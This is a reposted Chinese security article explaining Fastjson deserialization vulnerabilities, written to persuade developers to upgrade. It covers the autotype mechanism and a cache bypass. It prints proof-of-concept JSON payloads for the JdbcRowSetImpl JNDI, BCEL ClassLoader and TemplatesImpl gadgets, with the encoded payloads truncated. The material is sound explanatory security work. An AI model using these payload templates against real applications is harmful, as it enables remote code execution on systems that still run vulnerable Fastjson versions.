经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
Fastjson反序列化漏洞概述
来源:cnblogs  作者:Welk1n  时间:2019/9/10 10:53:12  对本文有异议

Fastjson反序列化漏洞概述

?

背景

在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东西。

漏洞原理

多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

那么不开启autotype功能就安全了吗?

不是的,在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考(https://www.anquanke.com/post/id/181874),代码验证逻辑的问题,不再赘述。

利用方式

那么Fastjson反序列化不可信数据时是如何导致代码执行的呢?这就是漏洞原理一节中所说的可被恶意利用的逻辑,目前公开的、攻击者使用广泛的Gadget无外乎有这么几种,下面会具体解释下指定setter或getter方法中可被恶意利用的代码逻辑:

基于JNDI注入

JNDI即Java Naming and Directory Interface,Java命名和目录接口,JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。JNDI提供了一个统一的外部接口,底层服务实现是多样的。

以RMI为例,RMI Registry有Name到对象的映射关系,应用通过java.rmi.naming#lookup方法向Registry发出查询请求,得到映射关系,再连接RMI Server实现远程方法调用。

如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的Registry,那我们可以在Registry绑定一个指向远程类的Reference对象(当对象为Reference类型的时候,应用会加载远程类并实例化),远程类的静态代码块及构造方法均可控,从而导致任意代码执行。

下面以com.sun.rowset.JdbcRowSetImpl类为例具体解释下,

基于类com.sun.rowset.JdbcRowSetImpl的POC如下:

  1. {
  2. "@type":"com.sun.rowset.JdbcRowSetImpl",
  3. "dataSourceName":"rmi://localhost:1097/Object",
  4. "autoCommit":true
  5. }

Fastjson在反序列化的时候,会使用asm来构造对象,然后调用对象的setter方法。在解析上述json字符串时,首先构造JdbcRowSetImpl对象,然后调用setDataSourceName方法和setAutoCommit方法为对象赋值,在调用setAutoCommit方法时,会通过connect方法调用lookup方法向Registry发出查询请求,而Registry的地址正是dataSourceName的值,这就导致了lookup方法参数可控,进而我们可以通过自定义Registry实现进一步漏洞利用。

connect方法代码:

  1. private Connection connect() throws SQLException {
  2. if (this.conn != null) {
  3. return this.conn;
  4. } else if (this.getDataSourceName() != null) {
  5. try {
  6. InitialContext var1 = new InitialContext();
  7. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
  8. return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
  9. } catch (NamingException var3) {
  10. throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
  11. }
  12. } else {
  13. return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
  14. }
  15. }

类似的,除com.sun.rowset.JdbcRowSetImpl外,还有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成为“Gadget”中的一环,基于JNDI注入实现代码执行。Java类库何其多,JDK中的、第三方的,未来也一定会出现更多的可被恶意利用的类库。

值得一提的是,在高版本的JDK中做了对JNDI注入类攻击的防护,主要是通过限制远程类的加载实现,具体细节可以参考我的这篇文章https://www.cnblogs.com/Welk1n/p/11066397.html,其中有比较详细的防护原理以及某些条件下的防护绕过说明。

基于ClassLoader

POC如下:

  1. {
  2. "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  3. "driverClassLoader" :
  4. {
  5. "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  6. },
  7. "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
  8. }

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器的加载机制,java、javax和sun这三个包下的类会通过系统类加载器进行加载,然后当遇到一些特殊的类名,class_name以$$BCEL$$开头的类,会调用createClass方法去解析class_name,在createClass方法中会将$$BCEL$$之后的字符解码成字节数组,并将这个BCEL编码后的类加载到虚拟机中。换言之,我们可以构造className为一个特殊的字符串时,通过这个类加载器来实现对自定义类的加载。

  1. protected Class loadClass(String class_name, boolean resolve)
  2. throws ClassNotFoundException
  3. {
  4. Class cl = null;
  5. /* First try: lookup hash table.
  6. */
  7. if((cl=(Class)classes.get(class_name)) == null) {
  8. /* Second try: Load system class using system class loader. You better
  9. * don't mess around with them.
  10. */
  11. for(int i=0; i < ignored_packages.length; i++) {
  12. if(class_name.startsWith(ignored_packages[i])) {
  13. cl = deferTo.loadClass(class_name);
  14. break;
  15. }
  16. }
  17. if(cl == null) {
  18. JavaClass clazz = null;
  19. /* Third try: Special request?
  20. */
  21. if(class_name.indexOf("$$BCEL$$") >= 0)
  22. clazz = createClass(class_name);
  23. else { // Fourth try: Load classes via repository
  24. if ((clazz = repository.loadClass(class_name)) != null) {
  25. clazz = modifyClass(clazz);
  26. }
  27. else
  28. throw new ClassNotFoundException(class_name);
  29. }
  30. if(clazz != null) {
  31. byte[] bytes = clazz.getBytes();
  32. cl = defineClass(class_name, bytes, 0, bytes.length);
  33. } else // Fourth try: Use default class loader
  34. cl = Class.forName(class_name);
  35. }
  36. if(resolve)
  37. resolveClass(cl);
  38. }
  39. classes.put(class_name, cl);
  40. return cl;
  41. }

那么,当Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource对象时,首先通过setter方法设置其driverClassLoader和driverClassName属性,然后会调用其getConnection方法,又最终调用了createConnectionFactory方法,其通过Class.forName方法用driverClassLoader加载driverClassName,并设置是否初始化参数为true。forName方法实际最终调用了C实现的Native类型的方法,分析C源码可知,其底层的加载逻辑仍是调用类加载器的loadClass方法加载自定义类,有兴趣的朋友可以自己去分析下JVM层面的实现,这儿不再展开,了解即可。

driverClassLoader和driverClassName都是json传入,外部可控,那么若将driverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName设置为经BCEL编码后的自定义类,那么就实现了在反序列化时加载自定义类的目的。于是攻击者可以在static代码块中编写恶意代码,将其进行BCEL编码,在类初始化时实现恶意代码执行。

基于TemplatesImpl

POC如下:

  1. {
  2. "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  3. "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  4. '_name':'a.b',
  5. '_tfactory':{ },
  6. "_outputProperties":{ }
  7. }

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有个比较特殊的能力,可以解析然后加载实例化_bytecodes变量中的字符数组,_bytecodes的值是可控的,所以攻击者只要构造恶意类对应的字符数组,然后通过getOutputProperties方法触发恶意类的加载及实例化,同样实现了远程代码执行的效果。

一些具体的细节可以参考这两篇文章:

  1. http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  2. https://paper.seebug.org/636/

不过此种利用方式需要在解析json串时设置Feature.SupportNonPublicField,而业务同学在使用fastjson时往往会直接按照默认参数调用parseObject方法,所以略为鸡肋。

建议

可以看到上面几种Gadget都能用来攻击使用Fastjson的应用,实现代码执行,相对来说第一种方式杀伤力更强一些。所以还请务必将组件升级到最新版本,来避免攻击者对此漏洞的攻击。

原文链接:http://www.cnblogs.com/Welk1n/p/11446519.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号